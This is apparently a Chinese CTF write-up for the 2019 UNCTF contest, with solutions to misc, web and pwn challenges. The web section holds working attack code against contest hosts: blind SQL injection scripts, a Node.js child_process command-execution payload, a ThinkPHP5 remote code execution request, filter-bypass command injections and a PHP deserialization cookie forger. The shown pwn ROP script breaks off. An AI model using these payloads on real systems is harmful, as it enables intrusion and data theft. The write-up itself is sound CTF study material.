2019 UNCTF(安恒杯)题解WriteUp

2019 UNCTF(安恒杯)WriteUp

前言

肝了7天的比赛,没想到最后拿了个第一名(估计大佬们都去字节跳动和xctf-final了2333)。Web共解11题其中6个一血,1个三血

附上战绩图:

Misc

快乐游戏题(100 points)

游戏通关即得flag

Think(200 points)

执行check(checknum)函数,参数是随意一个数字即可

亲爱的(300 points)

亲爱的.mp3分离得到压缩包,需要解压密码,注意到压缩包的提示:qmusic 2019.7.27 17:47

去qq音乐找到海阔天空,李现的歌,对应时间的评论:真的上头,为压缩包密码

解压得到一个jpg,分离得到一个xml文件夹,flag在word/media/image1.jpg

flag:UNCTF{W3_L0v3_Unctf}

Hidden secret(600 points)

题目给了三个文件,第一个文件1,开头是03 04 14 00,很像压缩包开头,补个50 4B,保存成zip后,用7-zip打开压缩包,发现2.jpg其中有个1.txt

1
"K<jslc7b5'gBA&]_5MF!h5+E.@IQ&A%EExEzp\\X#9YhiSHV#"

是一串base92编码

解码:

1
2
3
4
>>> import base92
>>> s = "K<jslc7b5'gBA&]_5MF!h5+E.@IQ&A%EExEzp\\X#9YhiSHV#"
>>> base92.decode(s)
'unctf{cca1a567c3145b1801a4f3273342c622}'

信号不好先挂了(800 points)

apple.png存在LSB隐写藏有zip文件,

用stegsolver分离后得到压缩包解压,得到一张相似的图片:pen.png

因为两张图片长得一样,所以很容易想到可能是藏有盲水印,于是用opencv处理盲水印得到flag

1
py -2 bwm.py decode apple.png pen.png apple_pen.png

flag:unctf{9d0649505b702643}

happy_puzzle(800 points)

题目给的三个提示:

1
hint1: png吧 hint2:data不是图⽚,要拼图 hint3:idat数据块

下载下的附件中带有一个info.txt文件和很多.data文件

info.txt中:mode=RGB size=400x400

告诉我们了图片的宽和高都是400

然后给的这些.data文件都是idat数据块中的DATA部分

参考png文件格式:https://www.ffutop.com/posts/2019-05-10-png-structure/

png文件格式:PNG文件头+IHDR+IDAT+IEND

(1)构造PNG头:89 50 4E 47 0D 0A 1A 0A

(2)构造IHDR: 00 00 00 0D 49 48 44 52 00 00 01 90 00 00 01 90 08 02 00 00 00 00 00 00 00

(3)构造IDAT: 00 00 28 00 49 44 41 54 + 每个.data文件中的数据DATA + 00 00 00 00

(4)构造IEND: 00 00 00 00 49 45 4E 44 AE 42 60 82

由于有很多.data文件,需要一个一个尝试,如果某条拼正确,就能正常显示

最后拼出:

得到flag

Easy_box(800 points)

数独,网上找个现成的解数独脚本,再写个交互就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
#coding=utf-8
import datetime
import re
from pwn import *

class solution(object):
def __init__(self,board):
self.b = board
self.t = 0

def check(self,x,y,value):#检查每行每列及每宫是否有相同项
for row_item in self.b[x]:
if row_item == value:
return False
for row_all in self.b:
if row_all[y] == value:
return False
return True

def get_next(self,x,y):#得到下一个未填项
for next_soulu in range(y+1,9):
if self.b[x][next_soulu] == 0:
return x,next_soulu
for row_n in range(x+1,9):
for col_n in range(0,9):
if self.b[row_n][col_n] == 0:
return row_n,col_n
return -1,-1 #若无下一个未填项,返回-1

def try_it(self,x,y):#主循环
if self.b[x][y] == 0:
for i in range(1,10):#从1到9尝试
self.t+=1
if self.check(x,y,i):#符合 行列宫均无条件 的
self.b[x][y]=i #将符合条件的填入0格
next_x,next_y=self.get_next(x,y)#得到下一个0格
if next_x == -1: #如果无下一个0格
return True #返回True
else: #如果有下一个0格,递归判断下一个0格直到填满数独
end=self.try_it(next_x,next_y)
if not end: #在递归过程中存在不符合条件的,即 使try_it函数返回None的项
self.b[x][y] = 0 #回朔到上一层继续
else:
return True

def start(self):
res = []
begin = datetime.datetime.now()
if self.b[0][0] == 0:
self.try_it(0,0)
else:
x,y=self.get_next(0,0)
self.try_it(x,y)
for i in self.b:
#print i
res.append(i)
end = datetime.datetime.now()
#print '\ncost time:', end - begin
#print 'times:',self.t
return res


p = remote("101.71.29.5",10011)
s = p.recvuntil("answer :\n")

di = re.findall("\\n|([0-9 ])\|([0-9 ])\|([0-9 ])\|([0-9 ])\|([0-9 ])\|([0-9 ])\|([0-9 ])\|([0-9 ])\|([0-9 ])\|\\n",s)

d = []
d.append(di[9])
d.append(di[11])
d.append(di[13])
d.append(di[15])
d.append(di[17])
d.append(di[19])
d.append(di[21])
d.append(di[23])
d.append(di[25])

r = []

for i in d:
e = []
for j in i:
if j!= ' ':
e.append(int(j))
else:
e.append(0)
r.append(e)

i = 0
j = 0
write_list = []
for i in range(9):
write_lis = []
for j in range(9):
if r[i][j] == 0:
write_lis.append(j)
write_list.append(write_lis)

#print r
#print write_list

res1=solution(r)
res = res1.start()
#print res
#print write_list


wri = []
count = 0
for i in write_list:
write = ""
for j in i:
w = res[count][j]
write = write + str(w) + ","
#print write
wri.append(write[:-1])
count = count + 1
print wri

for i in wri:
p.sendline(i)
print p.recv()
print p.recv()

Web

给赵总征婚(300 points)

靶机地址:101.71.29.5:10018

爆破密码即可,用户admin

这题坑点在后台会动态改admin的密码,所以能不能爆出来纯看运气

NSB Reset Password(300 points)

靶机地址:101.71.29.5:10042

打开靶机,发现跟上一题征婚相比,多了一个注册功能,随便注册一个账号登陆

看来还是要登陆admin

除此以外还有一个重置密码功能,因为上一题是爆破,这题就排除这个可能。所以思路就是想办法重置admin的密码

重置密码需要通过一个验证码校验,验证码是通过发送邮箱获得,但是我们不知道admin的邮箱

另外发现,删了cookie后,原来的账号就不存在了,说明,这题是根据session来判断当前用户的,那么就可以猜想,如果我们一开始去修改我们注册的用户,然后利用自己邮箱的验证码通过验证,再用另一个页面同样的session去重置admin,而当前重置的密码根据session判断我们要修改的用户(此时已经变成了admin),所以即可成功修改admin的密码

Twice_injection(500 points)

靶机地址:101.71.29.5:10002

打开靶机,发现环境是sql-labs 24关,注入点在pass_change.php的修改密码处的用户名字段是直接从Session中取出:

1
$username= $_SESSION["username"];

造成了二次注入,注入语句:

1
UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass';

按照原来sql-labs的做法是注册用户名:admin’#,然后登陆修改admin的密码,但是这题登陆了admin也未拿到flag,说明需要去注入库中的其他信息

还是利用布尔盲注,构造语句:

1
UPDATE users SET PASSWORD='$pass' where username='admin' and ascii(substr(database(),%d,1))=%d# and password='$curr_pass';

在username字段后构造条件语句,如果条件为真,则修改密码成功,为假则修改密码失败

注出数据库名:security,在尝试注表时发现关键字or被过滤了,所以不能使用information_schema

这里因为mysql的版本是5.7,所以可以利用自带的mysql库中新增的innodb_table_stats 这个表,来获得数据库名和表名

payload:

1
admin' and ascii(substr((select group_concat(database_name) from mysql.innodb_table_stats),%d,1))=%d#
1
admin' and ascii(substr((select group_concat(table_name) from mysql.innodb_table_stats),%d,1))=%d#
1
admin' and ascii(substr((select group_concat(table_name) from sys.schema_auto_increment_columns where table_schema=database()),%d,1))=%d#
1
admin' and ascii(substr((select group_concat(column_name) from sys.schema_auto_increment_columns where table_name='users'),%d,1))=%d#

获得fl4g表:

security.fl4g

1
admin' and ascii(substr((select group_concat(database_name) from mysql.innodb_table_stats where table_name='fl4g'),%d,1))=%d#

最后获取flag的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests

index_url = "http://101.71.29.5:10002/index.php"
login_url = "http://101.71.29.5:10002/login.php"
pass_change_url = "http://101.71.29.5:10002/pass_change.php"
register_url = "http://101.71.29.5:10002/login_create.php"
s = requests.Session()
database = ""#mysql,security,sys
version = "5.7.27"
table_name = "emails,referers,uagents,users" #gtid_executed,fl4g,sys

for i in range(1,50):
for j in range(44,128):
register_data = {
"username":"admin' and ascii(substr((select * from fl4g),%d,1))=%d######################somnus1234567890121"%(i,j),
"password":"123",
"re_password":"123",
"submit":"Register"
}
r1 = s.post(register_url,data=register_data)
login_data = {
"login_user":"admin' and ascii(substr((select * from fl4g),%d,1))=%d######################somnus1234567890121"%(i,j),
"login_password": "123",
"mysubmit": "Login"
}
r2 = s.post(login_url,data=login_data)
pass_change_data = {
"current_password": "123",
"password": "somnus1" + str(i),
"re_password": "somnus1" + str(i),
"submit": "Reset"
}
r3 = s.post(pass_change_url, data=pass_change_data)
if "Password successfully updated" in r3.text:
database = database + chr(j)
print database
break

checkin(600 points)

靶机地址:101.71.29.5:10010

打开靶机,发现是一个websocket的js网站

/js/app.03bc1faf.js中可以看到源码

根据提示,需要我们先输入/name nickname来进行登陆

登陆后,审计源码发现可以执行一个calc操作

疑似命令执行

/calc 5*6 发现返回30

搜索发现可能是nodejs命令执行:Node.js代码审计之eval远程命令执行漏洞

调用child_process模块,然后过滤空格,用$IFS替代

执行:ls /

1
/calc require("child_process").execSync("ls$IFS/").toString()

发现/flag

最后的payload:

1
/calc require("child_process").execSync("cat$IFS/flag").toString()

简单的备忘录(800 points)

靶机地址:101.71.29.5:10012

打开靶机,有个链接,访问发现是一个graphql的查询接口

通过get-graphql-schema将graphql模式都一一列举出来:

1
$get-graphql-schema http://101.71.29.5:10012/graphql

摸清层次后,

进行层层嵌套查询

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
{
allUsers {
edges {
node {
id
username
memos{
pageInfo {
hasPreviousPage
hasNextPage
startCursor
endCursor
}
edges{
node{
id
content
}
}
}
}
cursor
}
}
}

flag就在Meno类的content字段中

加密的备忘录(1000 points)

靶机地址:101.71.29.5:10037

打开靶机

源码提示我们:

1
<!--     GraphQL 真方便       All your base are belong to us!!!!!      -->

访问一下,还是有graphql接口,只是没有像上一题那样写一个界面

同样用get-graphql-schema列出结构:

相比于上一题,发现Query类中多了一个方法checkPass,类Memo_也多了一个成员属性password,我们同样用上一关的payload来查询一下结果。

因为没有提供接口,需要我们自己构造请求的数据包,头部字段需要添加:

1
Content-Type: application/json

查询结果发现,相比于之前那题,content字段和多出来的password字段的值看起来像是经过unicode编码,将password字段值拿去unicode解码试试

发现是一串很奇怪的汉字

想到还有一个方法checkPass没试,于是构造一下数据包:

从查询结果来分析,我们输入的password:1貌似经过了unicode编码后,返回告诉我们这个密码查询结果为空

把1经过unicode编码后的字符串:\u4e3a\u6211\u7231\u7231

再次拿去解码:

又是一串看不懂的中文,而如果我们直接把前面查的password字段中的字符串拿来查询:

结果出现整形溢出而报错

所以猜测:这个checkPass方法会将我们查询的password值进行一次变形的unicode编码后,进行查询

那么,我们就需要将password字段值进行还原明文的操作

通过测试发现,可以进行逐位爆破明文,现在我们要破解的是password密文:

1
\u8981\u6709\u4e86\u4ea7\u4e8e\u4e86\u4e3b\u65b9\u4ee5\u5b9a\u4eba\u65b9\u4e8e\u6709\u6210\u4ee5\u4ed6\u7684\u7231\u7231

那么,首先先对第一个密文字符串:\u8981进行解密

首先爆破第一位明文:

爆破发现,第一个明文范围可能为[H-K]

第二个明文,就根据第一个明文的可能来列举爆破,看看是否符合最前面两串密文字符串:\u8981\u6709

发现,第一个明文字符为H时,第二个明文字符为[a-o],前两串密文都满足:\u8981\u6709

由此确定,第一个明文字符为:H

以此类推,根据checkPass返回的结果来逐位爆破出明文,按照这个思路,编写爆破exp,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
import requests
import string
import json
import re
from time import sleep

url = "http://101.71.29.5:10037/graphql"
s = string.ascii_letters + string.digits + "{}"

password = "\u8981\u6709\u4e86\u4ea7\u4e8e\u4e86\u4e3b\u65b9\u4ee5\u5b9a\u4eba\u65b9\u4e8e\u6709\u6210\u4ee5\u4ed6\u7684\u7231\u7231"
#password = "\u5230\u5e74\u79cd\u6210\u5230\u5b9a\u8fc7\u6210\u4e2a\u4ed6\u6210\u4f1a\u4e3a\u800c\u65f6\u65b9\u4e0a\u800c\u5230\u5e74\u5230\u5e74\u4ee5\u53ef\u4e3a\u591a\u4e3a\u800c\u5230\u53ef\u5bf9\u65b9\u751f\u800c\u4ee5\u5e74\u4e3a\u6709\u5230\u6210\u4e0a\u53ef\u6211\u884c\u5230\u4ed6\u7684\u9762\u4e3a\u4eec\u65b9\u7231"
find_password = ""
change_password = ""#HappY4Gr4phQL
pass_list = password.split("\u")[1:]
count = 0
query = {"query":"{\n checkPass(memoId: 1, password:\"%s\")\n}\n"}
query = json.dumps(query)
headers = {
"Content-Type":"application/json"
}

while find_password != password:
possible_list = []
end = 0
for i in s:
payload = query % (change_password + i)
s1 = requests.Session()
r = s1.post(url,headers= headers,data=payload)
sleep(0.1)
message = str(re.findall("'(.*)' not",r.text)[0])
message_list = message.split("\u")[1:]
if (message_list[count] == pass_list[count]) and (message_list[count + 1] == pass_list[count + 1]) and (message_list[count + 2] == pass_list[count + 2]):
change_password = change_password + i
end = 1
break
elif message_list[count] == pass_list[count]:
possible_list.append(i)
if end == 1:
print change_password
break
#print possible_list
count = count + 1
poss1_list = []
for j in possible_list:
for z in s:
payload = query % (change_password+j+z)
s1 = requests.Session()
r1 = s1.post(url, headers=headers, data=payload)
sleep(0.1)
message = str(re.findall("'(.*)' not", r1.text)[0])
message_list = message.split("\u")[1:]
if (message_list[count] == pass_list[count]) and (message_list[count + 1] == pass_list[count + 1]) and (message_list[count + 2] == pass_list[count + 2]):
end = 1
break
elif message_list[count] == pass_list[count]:
poss1_list.append(z)
if len(poss1_list) != 0:
change_password = change_password + j
if end == 1:
change_password = change_password + z
find_password = find_password + "\u" + pass_list[count - 1]
break
if end == 1:
break
if end == 1:
print change_password
break
#print poss1_list
if len(poss1_list) == 1:
print change_password
continue
else:
count = count + 1
for k in poss1_list:
for m in s:
payload = query % (change_password + k + m)
s1 = requests.Session()
r2 = s1.post(url,headers=headers,data=payload)
sleep(0.1)
message = str(re.findall("'(.*)' not", r2.text)[0])
message_list = message.split("\u")[1:]
if (message_list[count] == pass_list[count]) and (message_list[count + 1] == pass_list[count + 1]):
change_password = change_password + k + m
find_password = find_password + "\u" + pass_list[count - 1] + "\u" + pass_list[count] + "\u" + pass_list[count + 1]
end = 1
break
if end == 1:
break
count = count + 2
print change_password
print find_password

跑出的密码是:HappY4Gr4phQL

检查一下是否正确:

查询结果为true,说明正确,但是,没有返回flag,这时候突然想到,content字段中也有一串密文,按照上题来看,flag估计就是content字段的明文值了,于是继续爆破content字段密文

最后跑出flag:flag{a98b35476ffdc3c3f84c4f0fa648e021}

审计一下世界上最好的语言吧(1000 points)

靶机地址:101.71.29.5:10003

打开靶机,给了源码:www.zip

开始审计

漏洞触发点很明显,只有一个,在parse_template.phpparseIf函数中

分析发现,该函数对传入的参数$content进行{if:(.*?)}(.*?){end if}规则的正则匹配,将匹配的结果的第一个元素,即{if:(.*?)}(.*?)匹配字符串拼接到eval函数中执行命令

那么,就接着找找哪里调用了parseIf函数

parse_template.phpparse_again函数的末尾,调用了该函数,继续跟踪,就发现在index.php的最后,调用了parse_again函数

接下来,就是想办法让输入的参数符合条件,来执行parse_again函数,进而执行parseIf函数,触发漏洞

首先看下全局过滤:common.php

全局文件common.php对GET,POST,COOKIE中的参数进行了进行了check_var的检查,过滤了关键字:_GET_POSTGLOBALS

然后,进行了变量覆盖的操作

所以执行parse_again函数的条件,就是content参数符合正则匹配:<search>(.*?)<\/search>

也就是说,我们随便传个参数?content=<search>123</search>就可以执行parse_again

然后重点审计parse_again函数

该函数处理过程大致是:对传入的searchnumtypetypename和index.php中一开始传入的参数content,进行一个RemoveXSS的过滤,该函数过滤了大部分关键字:

其中就包括了parseIf函数中匹配的关键字:if:

过滤后,截取前20个字符,进行template.html模板文件的标签替换,最后触发parseIf,通过eval执行模板文件中符合{if:(.*?)}(.*?){end if}正则匹配的第一个结果字符串

如果我们输入的参数包含{if:,经过RemoveXSS处理后就变成了{if<x>:,那么必然就不符合后面的匹配

所以,我们首先需要想办法来绕过RemoveXSS的过滤

我们可以发现,在RemoveXSS的过滤和执行parseIf的中间,还进行了4次的str_replace函数的替换,那么,我们就可以利用替换,来绕过过滤,比如我们传入:

1
?content=<search>{i<haha:type>f:phpinfo()}{end if}</search>

因为type参数为空,所以最后传入parseIf函数的内容就包括:

1
<search>{if:phpinfo()}{end if}</search>

就能成功匹配了,但是,这里还有长度20的限制,所以,我们可以通过多次替换,来绕过限制

在模板文件中,存在一处可以让我们通过拼接来凑成{if:(.*?)}(.*?){end if}匹配结构的地方

于是,传入payload:

1
?content=?content=<search>{i{haha:type}</search>&searchnum={end%20if}&type=f:phpinfo()}

成功执行phpinfo,看看有没有disable_functions的限制

没有限制,那么接下来就是读flag.php文件,选用一个最短的readfile函数

1
?content=?content=<search>{i{haha:type}</search>&searchnum={end%20if}&type=f:readfile('flag.php')}

但是,这样type参数长度还是超过了20,这时候,想到还有最后一个参数typename没有利用到,于是,传入:

1
?content=<search>{i{haha:type}</search>&searchnum={end%20if}&type=f:rea{haha:typename}&typename=dfile(%27flag.php%27)}

getflag~

bypass(800 points)

靶机地址:101.71.29.5:10054

命令执行bypass,过滤点有两处

(1)正则匹配的黑名单:

1
2
if (preg_match("/\'|\"|,|;|\\|\`|\*|\n|\t|\xA0|\r|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $a))
$a = "";

(2)对输入参数强制包裹双引号“”

1
$a ='"' . $a . '"';

其实最致命的是第二处过滤,强制添加双引号,即使我们输入了黑名单里没有的命令,在双引号的作用下,也执行不了命令

所以,这时候就想到了,强制命令执行的反引号`

但是,这里好像正则过滤了?其实没有,不信,我们测试一下:

很惊奇的发现,由于前面存在的:

1
\\|

会将|进行转义,这是因为在preg_match中,三个反斜杠\\\才能匹配一个真正意义上的字符反斜杠\,所以这里因为正则的匹配机制造成了反引号逃逸

测试下:

1
?a=`uname`

果然成功执行uname,那么接下来,就是想办法列目录了,虽然这里ls被禁用了,但是我们还可以用dir

1
?a=`dir /`

但是没有发现flag文件,试着找了其他常见目录下,也未发现,那么,就试着执行查找文件名操作:find

虽然find在黑名单中,但是,我们可以通过执行二进制文件通配符?的结合来进行绕过

payload:

1
?a=`/usr/b??/???d / -name ?lag`

但是还是未找到flag文件,再试着grep -R来搜索flag内容ctf,payload

1
?a=`/?in/gre?%20-R%20ctf`

发现flag

不过这是非预期解,联系出题人以后,出题人也把\\位置换到\^的前面,预期解是:

1
?a=\&b=%0a/???/gr?p%20-R%20ctf%20%23

实质上还是因为正则\\匹配不到\的问题,使用了换行%0a,再结合linux的命令终止符%20#处理双引号,最终的命令为:

1
2
file "\" "
/???/gr?p -R ctf #"

easy_admin(1000 points)

靶机地址:101.71.29.5:10045

打开靶机,是一个登陆界面

file参数存在文件包含,尝试LFI发现过滤了://,无法使用伪协议

扫描目录,发现存在admin.php

另外还有个forget.php

思路就应该是要登陆admin,在forget.php中发现username存在注入点,用户名不存在时会返回no this user,利用这个点进行布尔盲注

fuzz发现过滤了orandselect等关键字,用&&来代替and即可,盲注脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests

url = "http://101.71.29.5:10045/index.php?file=forget"
password = ""
for i in range(1,50):
for j in range(44,128):
data= {
"username":"admin' && ascii(substr(password,%d,1))=%d#"%(i,j)
}
r = requests.post(url,data=data)
if "no this user" not in r.text:
password = password + chr(j)
print password

跑出admin的密码:flag{never_too

然后登陆admin

提示我们:admin will access the website from,于是加个头部字段:

1
Referer:127.0.0.1

拿到另一半flag

最后的flag就是:flag{never_too_late_to_x}

easy_pentest(1000 points)

靶机地址:101.71.29.5:10021

根据题目的两个hint:

1
2
Hint1:tp框架特性 
Hint2:万物皆有其根本,3.x版本有,5.x也有,严格来说只能算信息泄露

测试发现,我们输入index.php等已知的tp文件,都会自动跳转回not_safe.html,我们首先要找到泄露信息的点,获得权限去访问

信息泄露,就想到了去查看tp日志

通过fuzz,发现runtime/log/201910/02.log存在信息泄露

发现一个关键的参数safe_key,然后根据上面写的头部再次访问

访问成功,跳转到了safe_page.html,并获取到了tp版本为5

接下来,就是去找tp5是否存在已知爆出的远程rce的漏洞:

ThinkPHP5漏洞分析之代码执行(十)

果然有,漏洞点是tp5的method代码执行,漏洞触发点在call_user_func函数

直接拿payload打过去

成功执行,后面测试发现过滤了如下内容:

1
2
3
4
5
6
7
8
9
10
11
file关键字

php短标签:
<?php
<?
<?=

php伪协议:
php://filter

disable_functions:system,shell_exec,exec,proc_open,passthru等命令执行函数

另外php版本是7.1,也就是说assert不能动态调用了,而eval在php手册中已经写道:是一个language construct,而不是一个函数,所以也不能通过call_user_func来调用

所以我们能利用的就只有读取文件show_source和扫描目录scandir

show_source可以很轻松的读到/etc/passwd,但是不知道flag文件路径

但是scandir会因为是返回数组而无法输出

所以得想办法,输出scandir

参考:记一次有趣的tp5代码执行

里面提到filter可以通过传递多个来对参数进行多次的处理

所以,可以先传入filter[]=scandir&get[]=/,这样读取完目录后。传入filter[]=var_dump,就可以成功输出扫描目录结果了

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /public/index.php?safe_key=easy_pentesnt_is_s0fun HTTP/1.1
Host: 101.71.29.5:10021
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
x-requested-with: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Cookie: thinkphp_show_page_trace=0|0; hibext_instdsigdipv2=1
Referer: http://101.71.29.5:10021/public/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Connection: close
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 84

_method=__construct&method=get&server[]=1&filter[]=scandir&get[]=/&filter[]=var_dump

flag文件在/home目录下

最后读取flag

K&K战队的老家(1000 points)

靶机地址:101.71.29.5:10007

打开靶机,是一个登陆界面

用万能密码即可登陆:

登录框fuzz发现过滤了很多注入关键字:

1
#,-,/,*,select,and,or,by等

所以,登录框除了登陆,判断不存在盲注点

登陆后,给了我们一串看不懂的cookie:

1
%26144%2616a%2615f%26123%2613f%26159%2613a%2616a%2614a%26148%2613e%2616a%26151%26147%26129%26165%26139%2615a%2615f%2616a%2613f%2615e%26164%2616a%2613f%2615a%26149%26126%26139%2615d%2613e%2615f%26152%26122%26129%2616a%2614a%26143%26139%26127%26151%26144%2615f%26168%2613f%26123%2613d%26126%2613d%2615a%2615f%26159%26151%26147%26141%26159%2613f%26122%2615b%26126%2613d%26144%26164%2616a%2613f%2615a%26157%26126%26139%2615e%26146%2616a%2614a%26148%2613a%26165%26149%26147%26121%2615c%26139%2615a%26164%2616a%2613f%2615a%26153%26126%26139%2615e%26146%26165%26149%26147%26142%26164%26151%26147%26124%26159%2613f%26123%26120%2612d

然后来到后台,源码中发现有个debug功能,并且m参数疑似存在文件包含

访问debug

提示cookie出错,猜想可能需要伪造一个正确的cookie,才能使用debug功能,那么就需要获取源码

m参数过滤了关键字phpbase64,尝试大小写,发现可以绕过,读取源码:

1
?m=PHP://filter/convert.Base64-encode/resource=home

拿到源码后,审计发现,在debug.php的魔术方法__toString中,存在包含flag.php文件的操作,那么这就是我们最后要执行的地方

触发__toString魔术方法的条件就是把类当作字符串输出,对应debug.phpdebug方法的末尾方法

要触发debug方法,就在home.php末尾代码:

但是中间有许多waf需要我们bypass

(1)check函数:check($cookie, $db, $session);

此处存在反序列点,而且$objstr对应cookie的identity字段,没用过滤,是可控的,我们可以进行任意的反序列化操作

这里只需要没反序列化正确,就能通过

(2)index_check函数:index_check($session->id, $session->username);

返回结果数量不能小于4,即我们反序列化后对象的username和id字段拼接道Sql语句后必须有查询结果

(3)debug类的__construct魔术方法,check1函数

检查对象的username字段是否为debuger,意思是我们查询的用户名必须是debugercheck1函数同理

(4)最后输出echo $this->forbidden;

虽然前后矛盾,但是细看,第一个比较是===,而第二个比较switch则是弱类型比较即==,所以我们可以让$this->choose“2”,即可绕过过滤

综上,写出如下POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php

function cookie_encode($str) {
$key = base64_encode($str);
$key = bin2hex($key);
$arr = str_split($key, 2);
$cipher = '';
foreach($arr as $value) {
$num = hexdec($value);
$num = $num + 240;
$cipher = $cipher.'&'.dechex($num);
}
return $cipher;
}

class session{
public $choose = 1;
public $id = 0;
public $username = "";
}

class debug
{
public $choose = "2";
public $forbidden = "";
public $access_token = "";
public $ob = NULL;
public $id = 2;
public $username = "debuger";

public function __construct()
{
$this->forbidden = unserialize('O:5:"debug":4:{s:6:"choose";s:1:"2";s:9:"forbidden";s:0:"";s:12:"access_token";s:0:"";s:2:"ob";N;}');
}
}

$d = new debug();
//echo serialize($d);
echo cookie_encode(serialize($d));

?>

运行得到cookie的payload:

1
&144&16a&15f&121&13f&159&13a&15b&14a&147&13a&121&14a&169&139&126&13e&15a&160&127&153&16a&15f&122&13f&159&13a&15a&151&137&129&166&153&122&145&159&13f&123&13d&126&13d&144&15f&159&13d&159&139&127&153&16a&15f&125&13f&159&13a&15d&152&123&13a&159&151&147&142&15b&14a&147&124&159&13f&120&128&126&13e&144&15f&159&14a&137&146&159&154&147&153&159&13f&15a&149&126&155&123&13d&126&13e&15a&15f&159&149&122&158&166&152&123&13e&15c&139&15a&164&16a&13f&15a&135&126&139&15a&139&159&13f&123&13d&126&13f&144&15f&159&14a&15d&129&169&149&15d&15c&15b&14a&137&146&165&139&15a&164&16a&13f&15a&131&126&139&159&139&127&153&16a&15f&168&13d&15a&15f&159&149&147&13e&15a&14a&148&13e&16a&148&123&142&166&151&122&146&165&139&15a&164&16a&13f&15a&131&126&139&159&139&127&153&16a&15f&169&13f&159&13a&166&149&159&139&127&144&15a&164&16a&13f&15a&139&126&139&15d&15c&15b&139&15a&164&160&13f&15a&139&127&153&16a&15f&124&13f&159&13a&121&153&122&146&169&152&15d&136&164&14a&143&139&127&153&16a&15f&123&13f&159&13a&15b&14a&147&13a&121&14a&122&146&169&139&15a&164&129&153&16a&15f&168&13d&15a&15f&159&149&147&13e&15a&14a&148&13e&16a&148&123&142&166&151&122&146&165&139&15a&164&16a&13f&15a&131&126&139&159&139&127&153&16a&15f&169&13f&159&13a&166&149&159&139&127&144&15a&164&16a&13f&15a&139&126&139&15d&15c&15b&139&15a&164&160&13f&15a&139&127&153&16a&15f&124&13f&159&13a&121&153&122&146&169&152&15d&136&164&14a&143&139&127&153&16a&15f&123&13f&159&13a&15b&14a&147&13a&121&14a&122&146&169&139&15a&164&129

传入后发现,此时已经成功包含flag.php,但是,提示了一段信息:token error,并且告诉我们在flag.php中还包含了access.php

猜想可能对应类中的access_token参数,但是因为是include,所以我们看不到flag.php的源码

这里也是卡了很久,后来才发现有备份文件:access.php.bak

1
2
3
4
5
6
7
8
9
<?php
error_reporting(0);
$hack_token = '3ecReK&key';
try {
$d = unserialize($this->funny);
} catch(Exception $e) {
echo '';
}
?>

那么,我们再添加一个参数$this->funny,反序列化后的access_token3ecReK&key即可

最终POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php

function cookie_encode($str) {
$key = base64_encode($str);
$key = bin2hex($key);
$arr = str_split($key, 2);
$cipher = '';
foreach($arr as $value) {
$num = hexdec($value);
$num = $num + 240;
$cipher = $cipher.'&'.dechex($num);
}
return $cipher;
}

class session{
public $choose = 1;
public $id = 0;
public $username = "";
}

class debug
{
public $choose = "2";
public $forbidden = "";
public $access_token = "";
public $ob = NULL;
public $id = 2;
public $username = "debuger";
public $funny = 'O:5:"debug":4:{s:6:"choose";s:1:"2";s:9:"forbidden";s:0:"";s:12:"access_token";s:10:"3ecReK&key";s:2:"ob";N;}';

public function __construct()
{
$this->forbidden = unserialize('O:5:"debug":4:{s:6:"choose";s:1:"2";s:9:"forbidden";s:0:"";s:12:"access_token";s:0:"";s:2:"ob";N;}');
}
}

$d = new debug();
//echo serialize($d);
echo cookie_encode(serialize($d));

?>

Pwn

babyrop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import * 
from LibcSearcher import *
context.log_level='debug'
p=remote("101.71.29.5",10041)
elf=ELF("./babyrop")
main_addr = elf.got['__libc_start_main']
print(hex(main_addr))
puts_addr=elf.plt['puts']
puts_got_addr=elf.got['puts']
start_addr=0x08048592
gdb.attach(p)
p.sendlineafter("Hello CTFer!",'a'*0x20+p32(1717986918))
p.sendlineafter("What is your name?",'a'*0x10+'a'*4+p32(puts_addr)+p32(start_addr)+p32(puts_got_addr))
a=p.recvuntil("Hello CTFer!")
print(a[1:5]) puts_libc_addr=u32(a[1:5])
print(hex(puts_libc_addr))
p.sendline('a'*0x20+p32(1717986918))
p.sendlineafter("What is your name?",'a'*0x10+'a'*4+p32(puts_addr)+p32(start_addr)+p32(main_addr))
main_libc_addr=u32(p.recvuntil("Hello CTFer!")[1:5])
print(hex(main_libc_addr))
